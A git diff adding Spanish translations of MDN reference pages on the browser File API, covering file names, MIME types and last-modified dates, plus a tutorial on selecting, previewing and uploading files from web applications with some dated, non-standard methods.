+ <li> Las siguientes propiedades y métodos no estándar fueron removidos en Gecko 7 {{GeckoRelease("7.0")}}: {{DOMxRef("File.fileName")}}, {{DOMxRef("File.fileSize")}}, {{DOMxRef("File.getAsBinary()")}}, {{DOMxRef("File.getAsDataURL()")}}, {{DOMxRef("File.getAsText()","File.getAsText(string encoding)")}} ({{bug("661876")}}). Propiedades estándar {{DOMxRef("File.name")}}, {{DOMxRef("Blob.size")}}, y métodos en {{DOMxRef("FileReader")}} deberían ser usados en su lugar.</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Using_files_from_web_applications" title="Using files from web applications">Usando archivos desde aplicaciones web</a></li>
+ <li><a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code" title="Extensions/Using the DOM File API in chrome code">Usando la API DOM File en código chrome</a></li>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/es/web/api/file/lastmodifieddate/index.html b/files/es/web/api/file/lastmodifieddate/index.html
new file mode 100644
index 0000000000..8e322a2eec
--- /dev/null
+++ b/files/es/web/api/file/lastmodifieddate/index.html
@@ -0,0 +1,101 @@
+---
+title: File.lastModifiedDate
+slug: Web/API/File/lastModifiedDate
+tags:
+  - API
+  - Archivo
+  - Archivos
+  - Deprecado
+  - File API
+  - Propiedad
+  - Referencia
+  - Solo lectura
+translation_of: Web/API/File/lastModifiedDate
+---
+<div>{{APIRef("File API") }} {{deprecated_header}}</div>
+
+<p>La propiedad de solo lectura <code><strong>File.lastModifiedDate</strong></code><strong> </strong>retorna la fecha de ultima modificacion del archivo. Archivos sin una ultima fecha de modificacion conocida retornan la fecha actual.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js">var time = <em>instanceOfFile</em>.lastModifiedDate</pre>
+
+<h2 id="Valor">Valor</h2>
+
+<p>Un objeto <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></code>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:js">// fileInput es un HTMLInputElement: &lt;input type="file" multiple id="myfileinput"&gt;
+var fileInput = document.getElementById("myfileinput");
+
+// files es un objeto FileList (similar a NodeList)
+var files = fileInput.files;
+
+for (var i = 0; i &lt; files.length; i++) {
+  alert(files[i].name + " tiene una fecha de ultima modificacion el " + files[i].lastModifiedDate);
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p><em>Aunque estaba presente en las primeras versiones de la especificacion de File API, esta propiedad ha sido eliminada de esta y ahora es no-estandar. Usar {{domxref("File.lastModified")}} como reemplazo.</em></p>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>File.lastModified</td>
+   <td>13.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>10.0</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>File.lastModified</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{domxref("File")}}</li>
+</ul>
diff --git a/files/es/web/api/file/name/index.html b/files/es/web/api/file/name/index.html
new file mode 100644
index 0000000000..c03fefb77e
--- /dev/null
+++ b/files/es/web/api/file/name/index.html
@@ -0,0 +1,70 @@
+---
+title: File.name
+slug: Web/API/File/name
+tags:
+  - API
+  - Archivo
+  - Archivos
+  - Propiedad
+  - Referencia
+translation_of: Web/API/File/name
+---
+<p>{{APIRef("File API")}}</p>
+
+<p>Retorna el nombre del archivo representado por el objeto {{domxref("File")}}. Por razones de seguridad, la ruta de directorios es excluida de esta propiedad.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js">var nombre = <em>file</em>.name;</pre>
+
+<h2 id="Valor">Valor</h2>
+
+<p>Una cadena, conteniendo el nombre del archivo sin la ruta de directorios, por ejemplo: "Mi resumen.rtf".</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html">&lt;input type="file" multiple onchange="processSelectedFiles(this)"&gt;
+</pre>
+
+<pre class="brush: js">function processSelectedFiles(fileInput) {
+  var files = fileInput.files;
+
+  for (var i = 0; i &lt; files.length; i++) {
+    alert("Filename " + files[i].name);
+  }
+}</pre>
+
+<p>Prueba el resultado:</p>
+
+<p>{{ EmbedLiveSample('Example', 300, 50) }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#file-attrs', 'name')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Definicion inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("api.File.name")}}</p>
+</div>
+
+<h2 id="Specification" name="Specification">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Using_files_from_web_applications">Usando archivos desde aplicaciones web</a></li>
+</ul>
diff --git a/files/es/web/api/file/type/index.html b/files/es/web/api/file/type/index.html
new file mode 100644
index 0000000000..b433446aa4
--- /dev/null
+++ b/files/es/web/api/file/type/index.html
@@ -0,0 +1,72 @@
+---
+title: File.type
+slug: Web/API/File/type
+tags:
+  - API
+  - Archivos
+  - File API
+  - Propiedad
+  - Referencia
+  - Tipo de archivo
+translation_of: Web/API/File/type
+---
+<div>{{APIRef("File API")}}</div>
+
+<p>Retorna el tipo de media (<a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME</a>) del archivo representado por un objeto {{domxref("File")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js">var tipo = <var>file</var>.type;</pre>
+
+<h2 id="Valor">Valor</h2>
+
+<p>Una cadena (<em>string</em>), conteniendo el tipo de media (MIME) indicando el tipo del archivo, por ejemplo "image/png" para imágenes PNG.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html">&lt;input type="file" multiple onchange="mostrarTipo(this)"&gt;
+</pre>
+
+<pre class="brush: js">function mostrarTipo(fileInput) {
+  const archivos = fileInput.files;
+
+  for (let i = 0; i &lt; archivos.length; i++) {
+    const nombre = archivos[i].name;
+    const tipo = archivos[i].type;
+    alert("Nombre del archivo: " + nombre + " , Tipo: " + tipo);
+  }
+}</pre>
+
+<p><strong>Note:</strong> Based on the current implementation, browsers won't actually read the bytestream of a file to determine its media type. It is assumed based on the file extension; a PNG image file renamed to .txt would give "<em>text/plain</em>" and not "<em>image/png</em>". Moreover, <code>file.type</code> is generally reliable only for common file types like images, HTML documents, audio and video. Uncommon file extensions would return an empty string. Client configuration (for instance, the Windows Registry) may result in unexpected values even for common types. <strong>Developers are advised not to rely on this property as a sole validation scheme.</strong></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File API', '#dfn-type', 'type')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+
+
+<p>{{Compat("api.File.type")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/File/Using_files_from_web_applications">Usando archivos desde aplicaciones web (Using files from web applications)</a></li>
+ <li>Blog Post: <a href="https://textslashplain.com/2018/07/26/be-skeptical-of-client-reported-mime-content-types/">Se excéptico de tipos MIME reportados por el cliente (Be skeptical of client-reported MIME types)</a></li>
+</ul>
diff --git a/files/es/web/api/file/using_files_from_web_applications/index.html b/files/es/web/api/file/using_files_from_web_applications/index.html
new file mode 100644
index 0000000000..5aceed9d6a
--- /dev/null
+++ b/files/es/web/api/file/using_files_from_web_applications/index.html
@@ -0,0 +1,372 @@
+---
+title: Utilizar ficheros desde aplicaciones web
+slug: Web/API/File/Using_files_from_web_applications
+tags:
+  - Basura
+  - Ficheros
+  - HTML5
+  - HacerNavegadorAgnóstico
+  - Intermedio
+  - NecesitaActualizar
+  - Subir
+  - ajax actualización
+translation_of: Web/API/File/Using_files_from_web_applications
+---
+<p>{{ gecko_minversion_header("1.9.2") }}</p>
+
+<p> </p>
+
+<p>El uso de la API File añadida al DOM en HTML5, ahora hace posible que la página web solicite al usuario que seleccione archivos locales y, a continuación, leer el contenido de esos archivos.  Esta selección se puede hacer, ya sea usando un elemento {{HTMLElement ( "input")}} de HTML o mediante arrastrar y soltar.</p>
+
+<h2 id="Selección_de_ficheros_utilizando_HTML">Selección de ficheros utilizando HTML</h2>
+
+<p>Seleccionar solo un fichero usando la API File es sencillo:</p>
+
+<pre><code>&lt;input type="file" id="input" onchange="handleFiles(this.files)"&gt;</code>
+</pre>
+
+<p>Cuando el usuario elige el fichero, la función <code>handleFiles()</code> es llamada con un objeto <a href="/en/DOM/FileList" title="en/DOM/FileList"><code>FileList </code></a>el cual a su vez contiene un objeto <a href="/en/DOM/File" title="en/DOM/File"><code>File</code></a> que representa el fichero elegido por el usuario.</p>
+
+<p>Si se prefiere permitir al usuario elegir varios ficheros, entonces se pone el atributo <code>multiple </code>en el elemento <code>input:</code></p>
+
+<pre><code>&lt;input type="file" id="input" multiple="true" onchange="handleFiles(this.files)"&gt;</code>
+</pre>
+
+<p>En este caso, la lista de ficheros pasada a la función <code>handleFiles() </code>contiene un objeto <a href="/en/DOM/File" title="en/DOM/File"><code>File </code></a>por cada fichero seleccionado por el usuario. </p>
+
+<p>{{ h2_gecko_minversion("Using hidden file input elements using the click() method", "2.0") }}</p>
+
+<p>Comenzando en Gecko 2.0 {{ geckoRelease("2.0") }}, se puede ocultar el realmente feo {{ HTMLElement("input") }} y representar tu propio interfaz para abrir el picker de ficheros y pintar que fichero o ficheros ha seleccionado el usuario. Esto se puede hacer añadiendo al elemento input la característica "display:none" en su css, o estilo y llamando al método <code>click() </code>del elemento {{ HTMLElement("input") }}.</p>
+
+<p>Como aparece en este HTML:</p>
+
+<pre class="deki-transform">&lt;form&gt;
+  &lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;/form&gt;
+
+&lt;a href="javascript:doClick()"&gt;Select some files&lt;/a&gt;
+</pre>
+
+<p>Tu método <code>doClick()</code> puede parecerse al siguiente:</p>
+
+<pre class="deki-transform">function doClick() {
+  var el = document.getElementById("fileElem");
+  if (el) {
+    el.click();
+  }
+}
+</pre>
+
+<p>Obviamente puedes cambiar como quieras, el estilo del botón para abrir el picker de ficheros.</p>
+
+<h3 id="Añadir_dinámicamente_un_listener_tipo_change">Añadir dinámicamente un listener tipo change</h3>
+
+<p>Si tu campo input ha sido creado usando una libreria JavaScript como <a class="external" href="http://www.jquery.com/" title="http://www.jquery.com/">jQuery</a>, se necesitará usar {{ domxref("element.addEventListener()") }} para añadir el manejador de eventos tipo change, como en el ejemplo siguiente:</p>
+
+<pre class="deki-transform">var inputElement = document.getElementById("inputField");
+inputElement.addEventListener("change", handleFiles, false);
+
+function handleFiles() {
+  var fileList = this.files;
+
+  /* now you can work with the file list */
+}
+</pre>
+
+<p>Nota: en este caso, la función <code>handleFiles() </code>mira la lista de ficheros con la finalidad de aceptar un parametro, mientras los eventos listeners sean añadidos de esta manera no pueden aceptar un parametro del input.</p>
+
+<p>{{ h1_gecko_minversion("Using blob URLs", "2.0") }}</p>
+
+<p>Gecko 2.0 {{ geckoRelease("2.0") }} introduce soporte para los métodos de DOM {{ domxref("window.createBlobURL()") }} y {{ domxref("window.revokeBlobURL()") }}. El cual te permite crear un simple string con la URL que referenciar cualquier dato que pueda referenciar usando un objeto <a href="/en/DOM/File" title="en/DOM/File"><code>File</code></a> DOM, esto incluye los ficheros locales del usuario del dispositivo.</p>
+
+<p>Cuando tienes un objeto<a href="/en/DOM/File" title="en/DOM/File"><code> File</code></a> te gusta poder referenciarlo con una URL desde el HTML, la manera de crear tu propio blob URL para poder hacer esto es la siguiente:</p>
+
+<pre>var blobURL = window.createBlobURL(fileObj);
+</pre>
+
+<p>El blob URL es un string que identifica el objeto<a href="/en/DOM/File" title="en/DOM/File"><code> File</code></a>. Cada vez que se llama a {{ domxref("window.createBlobURL()") }}, un único blob URL se crea. Cada vez que esto pasa debe de ser liberado. Cuando el documento se cierra, se libera automáticamente, pero si tu página lo usa dinámicamente deberás liberarlos explicitamente llamando a {{ domxref("window.revokeBlobURL()") }}:</p>
+
+<pre>window.revokeBlobURL(blobURL);
+</pre>
+
+<h2 id="Selección_de_ficheros_usando_drag_and_drop">Selección de ficheros usando drag and drop</h2>
+
+<p>También se puede dejar al usuario arrastrar los ficheros en tu aplicación web.</p>
+
+<p>El primer paso para establecer la zona de arrastre, el lugar en donde dejar los ficheros arrastrados. La parte exacta en donde se coloque esta zona de arrastre dentro de tu aplicación, dependerá del diseño de la aplicación, pero crear el elemento es sencillo:</p>
+
+<pre class="deki-transform">var dropbox;
+
+dropbox = document.getElementById("dropbox");
+dropbox.addEventListener("dragenter", dragenter, false);
+dropbox.addEventListener("dragover", dragover, false);
+dropbox.addEventListener("drop", drop, false);
+</pre>
+
+<p>En este ejemplo se transforma el elemento de ID "dropbox" en la zona de arrastre. Esto se hace añadiendo listeners para lo eventos de <code>dragenter</code>, <code>dragover</code>, y <code>drop</code>.</p>
+
+<p>Realmente en este caso no se necesita hacer nada con los eventos <code>dragenter</code> y <code>dragover</code>, por lo que ambas funciones seran muy sencillas. Sólo pararán la propagacion de eventos y prevendran las acciones por defecto:</p>
+
+<pre class="deki-transform">function dragenter(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+
+function dragover(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+</pre>
+
+<p>La verdadera magia ocurre en la función <code>drop()</code>:</p>
+
+<pre class="deki-transform">function drop(e) {
+  e.stopPropagation();
+  e.preventDefault();
+
+  var dt = e.dataTransfer;
+  var files = dt.files;
+
+  handleFiles(files);
+}
+</pre>
+
+<p>Aquí se recupera el campo <code>dataTransfer</code> del evento, a partir de ahi se extraen la lista de ficheros, y se pasan a <code>handleFiles()</code>. A partir de este punto se manejan los ficheros de igual manera tanto si se han obtenido usado el elemento <code>input</code> o drag and drop.</p>
+
+<h2 id="Recuperando_la_información_de_los_ficheros_selecionados">Recuperando la información de los ficheros selecionados</h2>
+
+<p>El objeto <a href="/en/DOM/FileList" title="en/DOM/FileList"><code>FileList</code></a> es dado por el DOM y lista todos los ficheros selecionados por el usuario, cada uno es un objeto <a href="/en/DOM/File" title="en/DOM/File"><code>File</code></a>. Para determinar el número de ficheros que han sido seleccionados se comprueba la longitud de la lista con el atributo <code>length</code>:</p>
+
+<pre>var numFiles = files.length;
+</pre>
+
+<p>Al objeto <a href="/en/DOM/File" title="en/DOM/File"><code>File</code></a> se accede de manera sencilla, accediendo a la lista como si fuera un array:</p>
+
+<pre class="deki-transform">for (var i = 0; i &lt; files.length; i++) {
+  var file = files[i];
+  ..
+}
+</pre>
+
+<p>El bucle itera por todos los ficheros de la lista.</p>
+
+<p>Cada objeto <a href="/en/DOM/File" title="en/DOM/File"><code>File</code></a> tiene tres atributos que contienen información util sobre el fichero.</p>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Es de solo lectura y es el nombre del fichero sin ninguna información sobre el path.</dd>
+ <dt><code>size</code></dt>
+ <dd>Es de solo lectura y es el tamaño del fichero en bytes como un entero de 64-bit.</dd>
+ <dt><code>type</code></dt>
+ <dd>Es de solo lectura y contiene MIME type del fichero, o "" si el tipo no puede ser determinado.</dd>
+</dl>
+
+<h2 id="Ejemplo_Mostrando_miniaturas_de_una_selección_de_imágenes_del_usuario">Ejemplo: Mostrando miniaturas de una selección de imágenes del usuario</h2>
+
+<p>Digamos que usted esta desarrollando el próximo gran sitio web para compartir fotos, y quiere usar HTML5 para mostrar previsualizaciones de miniaturas de imágenes antes de que el usuario actual las suba. Basta con establecer su elemento input o zona de arrastre como se indicó anteriormente, y hacer una llamada a una función <code>handleFiles()</code> como la siguiente.</p>
+
+<pre class="deki-transform">function handleFiles(files) {
+  for (var i = 0; i &lt; files.length; i++) {
+    var file = files[i];
+    var imageType = /image.*/;
+
+    if (!file.type.match(imageType)) {
+      continue;
+    }
+
+    var img = document.createElement("img");
+    img.classList.add("obj");
+    img.file = file;
+    preview.appendChild(img);
+
+    var reader = new FileReader();
+    reader.onload = (function(aImg) { return function(e) { aImg.src = e.target.result; }; })(img);
+    reader.readAsDataURL(file);
+  }
+}
+</pre>
+
+<p>Aquí nuestro bucle recorre los archivos seleccionados por el usuario y mira el atributo <code>type</code> de cada archivo para ver si es una imagen (haciendo que una expresión regular coincida con la cadena de texto "image.*"). Para cada archivo que sea una imagen, creamos un nuevo elemento <code>img</code>. Se puede usar CSS para establecer bordes bonitos, sombras, y especificar el tamaño de la imagen, el de manera que ni siquiera necesita hacerse aquí.</p>
+
+<p>Cada imagen tiene la clase CSS "obj" añadida, para hacerla mas fácil buscarla en el árbol del DOM. Además añadimos un atributo<code> file</code> a cada imagen especificando el <a href="/en/DOM/File" title="en/DOM/File"><code>Fichero</code></a> para la imagen; esto nos permitira traer el hecho de subir las imágenes más tarde. Finalmente, usamos {{ domxref("Node.appendChild()") }} para añadir la nueva miniatura en el área de la previsualización de nuestro documento.</p>
+
+<p>A continuación establecemos el <a href="/en/DOM/FileReader" title="en/DOM/FileReader"><code>FileReader</code></a> para controlar la carga de la imagen de forma asíncrona y enlazarla con el elemento <code>img</code>. Después de crear el nuevo objeto <code>FileReader</code>, configuramos su función <code>onload</code>, luego llamamos a <code>readAsDataURL()</code> para comenzar la operación de lectura en segundo plano. Cuando el contenido completo de la imagen ha sido cargado, se convierte a  <code>data:</code> URL, el cuál es pasado al callback <code>onload</code>. Nuestra implementación de esta rutina simplemente establece el atributo <code>src</code> del elemento <code>img</code> cargado, cuyo resultado es la imagen apareciendo en la miniatura en la pantalla del usuario.</p>
+
+<p>{{ h1_gecko_minversion("Example: Using blob URLs to display images", "2.0") }}</p>
+
+<p>Este ejemplo el objeto blob URLs para mostrar las miniaturas de las imágenes. Además, se muestra otra información del archivo incluyendo sus nombres y tamaños. Tú puedes <a href="/samples/domref/file-click-demo.html" title="https://developer.mozilla.org/samples/domref/file-click-demo.html">ver el ejemplo</a> (tenga en cuenta que se requiere una versión <a class="external" href="http://nightly.mozilla.org/" title="http://nightly.mozilla.org/">Nghtly</a> de Firefox del 23 de september 23 o mas reciente, o Firefox 4.0 beta 7).</p>
+
+<p>El HTML que representa la interfaz es::</p>
+
+<pre class="deki-transform">&lt;form&gt;
+  &lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;/form&gt;
+&lt;a href="javascript:doClick()"&gt;Seleccione algunos archivos&lt;/a&gt;
+&lt;div id="fileList"&gt;
+  &lt;p&gt;¡No se han seleccionado archivos!&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Esto establece nuestro elemento {{ HTMLElement("input") }} de nuestro, así como un enlace que invoca el selector de archivos, ya que mantenmos el input file oculto para prevenir mostrar un UI menos atractivo. Esto se explica anteriormente en al la sección {{ anch("Using hidden file input elements using the click() method") }}, así como el método <code>doClick()</code> que invoca el el selector de archivos.</p>
+
+<p>El método <code>handleFiles()</code> es el siguiente:</p>
+
+<pre class="deki-transform">function handleFiles(files) {
+  var d = document.getElementById("fileList");
+  if (!files.length) {
+    d.innerHTML = "&lt;p&gt;¡No se han seleccionado archivos!&lt;/p&gt;";
+  } else {
+    var list = document.createElement("ul");
+    d.appendChild(list);
+    for (var i=0; i &lt; files.length; i++) {
+      var li = document.createElement("li");
+      list.appendChild(li);
+
+      var img = document.createElement("img");
+      img.src = window.createBlobURL(files[i]);;
+      img.height = 60;
+      img.onload = function() {
+        window.revokeBlobURL(this.src);
+      }
+      li.appendChild(img);
+
+      var info = document.createElement("span");
+      info.innerHTML = files[i].name + ": " + files[i].size + " bytes";
+      li.appendChild(info);
+    }
+  }
+}
+</pre>
+
+<p>Esto comienza buscando la URL del {{ HTMLElement("div") }} con la ID "fileList". Este es el bloque donde vamos a insertar la lista de archivos incluyendo las miniaturas.</p>
+
+<p>Si el objeto {{ domxref("FileList") }} pasado a <code>handleFiles()</code> es <code>null</code>, simplemente establecemos el bloque inner HTML para mostrar "¡No se han seleccionado archivos!". En caso contrario, comenzamos a construir nuestra lista de archivos como sigue:</p>
+
+<ol>
+ <li>Un nuevo elemento de lista desordenada ({{ HTMLElement("ul") }} es creado.</li>
+ <li>El nuevo elemento de la lista es insertado en el bloque {{ HTMLElement("div") }} llamando a si método {{ domxref("element.appendChild()") }}.</li>
+ <li>Para cada {{ domxref("File") }} en el {{ domxref("FileList") }} representado <code>files</code>:
+  <ol>
+   <li>Se crea un nuevo elemento de lista ({{ HTMLElement("li") }}) y lo inserta en la lista.</li>
+   <li>Se crea un nuevo elemento imagen ({{ HTMLElement("img") }}).</li>
+   <li>Establece en la fuente de la imagen un nuevo blob URL representandoel archivo, usando {{ domxref("window.createBlobURL()") }} para crear el blob URL.</li>
+   <li>Se establece el alto de la imagen en 60 pixels.</li>
+   <li>Se configura el controlador para el evento load para liberar el blob URL, puesto que ya no es necesario una vez que la imagen ha sido cargada. Esto se hace llamando al método {{ domxref("window.revokeBlobURL()") }}, pasando la cadena en el blob URL como se ha especificado para <code>img.src</code>.</li>
+   <li>Se añade el nuevo elemento de la lista a la lista.</li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Ejemplo_Subiendo_un_archivo_seleccionado_por_el_usuario">Ejemplo: Subiendo un archivo seleccionado por el usuario</h2>
+
+<p>Otra cosa que podrías querer hacer es dejar que el usuario suba el archivo o los archivos seleccionados (como las imagenes seleccionadas usando el ejemplo anterior) al servidor. Esto se puede hacer de forma asíncrona muy facilmente.</p>
+
+<h3 id="Creando_las_tareas_de_subida">Creando las tareas de subida</h3>
+
+<p>Continuando con el código que contruye las miniaturas en el ejemplo anterior, hay que recordar que cada imagen en miniatura se encuentra en la clase CSS "obj", con el correspondiente <a href="/en/DOM/File" title="en/DOM/File"><code>File</code></a> adjunto en un attributo <code>file</code>. Vamos a seleccionar todas las imágenes que el usuario ha seleccionado facilmente para subirlas usando {{ domxref("Document.querySelectorAll()") }}, como sigue:</p>
+
+<pre class="deki-transform">function sendFiles() {
+  var imgs = document.querySelectorAll(".obj");
+
+  for (var i = 0; i &lt; imgs.length; i++) {
+    new FileUpload(imgs[i], imgs[i].file);
+  }
+}
+</pre>
+
+<p>La segunda línea crea un array, llamado<code> imgs</code>, de todos los elementos  en el documento con la clase CSS "obj". En nuestro caso, estos serán todas las miniaturas de las imágenes. Una vez que tenemos esa lista,    of all the elements in the document with the CSS class "obj". In our case, these will be all the image thumbnails. Once we have that list, es trivial pasar por la lista, creando una nueva instancia de <code>FileUpload</code> por cada una. Subiendo el correspondiente archivo por cada uno de ellos.</p>
+
+<h3 id="Manipulando_el_proceso_de_carga_de_un_archivo">Manipulando el proceso de carga de un archivo</h3>
+
+<p>La función <code>FileUpload</code> acepta dos entradas: un elemento de imagen y un archivo desde el que leer los datos de la imagen.</p>
+
+<pre class="deki-transform">function FileUpload(img, file) {
+  this.ctrl = createThrobber(img);
+  var xhr = new XMLHttpRequest();
+  this.xhr = xhr;
+
+  var self = this;
+  this.xhr.upload.addEventListener("progress", function(e) {
+        if (e.lengthComputable) {
+          var percentage = Math.round((e.loaded * 100) / e.total);
+          self.ctrl.update(percentage);
+        }
+      }, false);
+
+  xhr.upload.addEventListener("load", function(e){
+          self.ctrl.update(100);
+          var canvas = self.ctrl.ctx.canvas;
+          canvas.parentNode.removeChild(canvas);
+      }, false);
+
+  xhr.open("POST", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php");
+  xhr.overrideMimeType('text/plain; charset=x-user-defined-binary');
+  xhr.sendAsBinary(file.getAsBinary());
+}
+</pre>
+
+<p>La función <code>FileUpload()</code> mostrada arriba crea un throbber, el cual es usado para mostrar la información del progreso, a continuación se crea un <a href="/en/XMLHttpRequest" title="en/XMLHttpRequest"><code>XMLHttpRequest</code></a> para manejar la subida de los datos.</p>
+
+<p>Antes de subir los datos de hecho, se toman varias medidas preparatorias:</p>
+
+<ol>
+ <li>El listener del progreso de la carga del <code>XMLHttpRequest</code>'s se configura para actualizar el throbber con una nueva información de porcentaje, por lo que a medida que progresa la carga, el throbber será actualizado en base a la última información.</li>
+ <li>El evento "load" de la carga del <code>XMLHttpRequest</code>'s se configura para actualizar el throbber con el 100% como la información de progreso (para asegurar que el indicador de progreso realmente alcanza el 100%, en caso de las <span class="short_text" id="result_box" lang="es"><span class="hps">peculiaridades</span> <span class="hps">de granularidad durante el proceso</span></span>). Entoces se elimina el throbber, puesto que ya no es necesario. Esto causa que el throbber desaparezca una vez la carga está completa.</li>
+ <li>La petición para cargar la imagen se inicia llamando al método <code>XMLHttpRequest</code>'s <code>open()</code> para comenzar a generar una petición de tipo POST.</li>
+ <li>El MIME type para la carga se establece llamando a la función <code>deXMLHttpRequest</code> <code>overrideMimeType()</code>. En este caso, estamos usando un MIME type genérico; usted puede o no puede necesitar establecer MIME type en absoluto, dependiendo de su necesidad.</li>
+ <li>Finalmente, se llama a la función <code>sendAsBinary()</code> del <code>XMLHttpRequest</code> es llamada para subir el contenido del archivo. <em>TEsto es necesario ser revisado, actualmete se está usando la rutina sincronizada en desuso getAsBinary() para extraer los datos del archivo..</em></li>
+</ol>
+
+<h3 id="Manipulación_del_proceso_de_carga_para_un_archivo_de_forma_asíncrona">Manipulación del proceso de carga para un archivo, de forma asíncrona</h3>
+
+<pre class="deki-transform">function fileUpload(file) {
+  // Please report improvements to: marco.buratto at tiscali.it
+
+  var fileName = file.name;
+  var fileSize = file.size;
+  var fileData = file.getAsBinary(); // works on TEXT data ONLY.
+
+  var boundary = "xxxxxxxxx";
+  var uri = "serverLogic.php";
+
+  var xhr = new XMLHttpRequest();
+
+  xhr.open("POST", uri, true);
+  xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); // simulate a file MIME POST request.
+  xhr.setRequestHeader("Content-Length", fileSize);
+
+  xhr.onreadystatechange = function() {
+    if (xhr.readyState == 4) {
+      if ((xhr.status &gt;= 200 &amp;&amp; xhr.status &lt;= 200) || xhr.status == 304) {
+
+        if (xhr.responseText != "") {
+          alert(xhr.responseText); // display response.
+        }
+      }
+    }
+  }
+
+  var body = "--" + boundary + "\r\n";
+  body += "Content-Disposition: form-data; name='fileId'; filename='" + fileName + "'\r\n";
+  body += "Content-Type: application/octet-stream\r\n\r\n";
+  body += fileData + "\r\n";
+  body += "--" + boundary + "--";
+
+  xhr.send(body);
+  return true;
+}
+</pre>
+
+<p><em>Esto necesita ser modificado para funcionar con datos binarios también.</em></p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><code><a href="/en/DOM/File" title="en/DOM/File">File</a></code></li>
+ <li><code><a href="/en/DOM/FileList" title="en/DOM/FileList">FileList</a></code></li>
+ <li><a href="/en/DOM/FileReader" title="en/DOM/FileReader"><code>FileReader</code></a></li>
+ <li><a href="/En/XMLHttpRequest/Using_XMLHttpRequest" title="En/Using XMLHttpRequest">Usando XMLHttpRequest</a></li>
+ <li><a href="/en/XMLHttpRequest" title="en/XMLHttpRequest"><code>XMLHttpRequest</code></a></li>
+</ul>
+
+<p>{{ HTML5ArticleTOC() }}</p>
diff --git a/files/es/web/api/file/webkitrelativepath/index.html b/files/es/web/api/file/webkitrelativepath/index.html
new file mode 100644
index 0000000000..749914e234
--- /dev/null
+++ b/files/es/web/api/file/webkitrelativepath/index.html
@@ -0,0 +1,132 @@
+---
+title: File.webkitRelativePath
+slug: Web/API/File/webkitRelativePath
+tags:
+  - Archivo
+  - Entidades Archivo y Directorio de la API
+  - File API
+  - Propiedad
+  - Referencia
+  - Solo lectura
+  - Web
+translation_of: Web/API/File/webkitRelativePath
+---
+<p>{{APIRef("File API")}}{{non-standard_header}}</p>
+
+<p>La propiedad <code><strong>File.webkitRelativePath</strong></code> de solo lectura contiene un {{domxref("USVString")}} el cual especifica la ruta relativa del archivo al directorio seleccionado por el usuario en un elemento {{HTMLElement("input")}} con su {{htmlattrxref("webkitdirectory", "input")}} atributo definido.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
